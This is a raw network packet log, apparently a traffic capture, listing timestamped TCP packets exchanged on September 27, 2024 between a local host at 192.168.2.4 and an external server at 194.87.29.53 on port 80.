Sep 27, 2024 18:29:09.371272087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371279001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371293068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371309042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371474981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371485949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371495962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371505022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371515036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371521950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371527910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371541977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371542931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371571064 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371582031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371617079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371629953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371668100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371668100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371772051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371783018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371792078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371802092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371812105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371814966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371828079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371831894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371840000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371849060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371859074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371859074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371866941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371870041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371897936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371917009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372108936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372119904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372131109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372139931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372147083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372149944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372167110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372167110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372176886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372178078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372189045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372199059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372200966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372210026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372217894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372220993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372232914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372246981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372253895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372263908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372366905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372376919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372385979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372395992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372405052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372410059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372415066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372417927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372445107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372457981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372571945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372581959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372591019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372601032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372610092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372613907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372620106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372626066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372637033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372651100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372662067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372688055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372716904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372726917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372735977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372755051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372767925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372824907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372836113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372844934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372855902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372864962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372867107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372876883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372886896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372891903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372898102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372908115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.372915983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372936010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.372950077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373140097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373150110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373158932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373168945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373178959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373183012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373202085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373219967 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373389959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373406887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373416901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373430014 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373452902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373452902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373722076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373730898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373744965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373760939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373775005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373845100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373855114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373864889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373873949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373883963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373884916 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373894930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373904943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373908043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373931885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373944044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.373989105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.373999119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374006987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374017954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374027014 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374041080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374046087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374057055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374063969 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374068022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374084949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374092102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374110937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374227047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374238014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374270916 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374284983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374324083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374334097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374344110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374353886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374361992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374363899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374376059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374387026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374408007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374423981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374439955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374449968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374478102 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374490976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374510050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374521017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374530077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374537945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.374550104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374558926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.374582052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.457593918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457607031 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457623959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457629919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457634926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457645893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457653046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457659960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457664967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457688093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457700968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457711935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457767010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457803965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.457811117 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457823038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457849979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457860947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457871914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457981110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457990885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.457994938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.457994938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.457994938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.457994938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.457997084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458009005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458040953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458064079 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458079100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458090067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458101034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458111048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458122969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458129883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458153963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458174944 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458264112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458275080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458286047 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458297968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458308935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458313942 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458340883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458352089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458431959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458442926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458453894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458466053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458478928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458482981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458492041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458509922 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458523035 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458551884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458668947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458679914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458689928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458700895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458712101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458722115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458723068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458734989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458745003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458749056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458761930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458766937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458775043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458782911 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458787918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.458815098 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.458836079 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459017992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459029913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459039927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459049940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459060907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459070921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459072113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459084988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459094048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459099054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459106922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459114075 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459117889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459129095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459136009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459140062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459156990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459172964 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459188938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459283113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459294081 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459304094 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459332943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459353924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459362984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459374905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459392071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459402084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459414959 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459436893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459455967 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459533930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459544897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459554911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459563971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459574938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459583044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459585905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459597111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459599972 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459610939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459611893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459630013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459639072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459675074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459820986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459831953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459841967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459852934 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459865093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459872961 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459877014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459884882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459888935 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459899902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459912062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459913015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459923983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459935904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.459938049 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459954023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459976912 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.459980965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460024118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460051060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460062027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460072994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460083961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460102081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460125923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460326910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460338116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460347891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460380077 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460391998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460443020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460454941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460464954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460475922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460486889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460495949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460515976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460539103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460757971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460794926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460808992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460812092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460834980 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460845947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460891962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460902929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460913897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460925102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.460941076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.460964918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.461039066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.461050034 CEST	80	60865	194.87.29.53	192.168.2.4
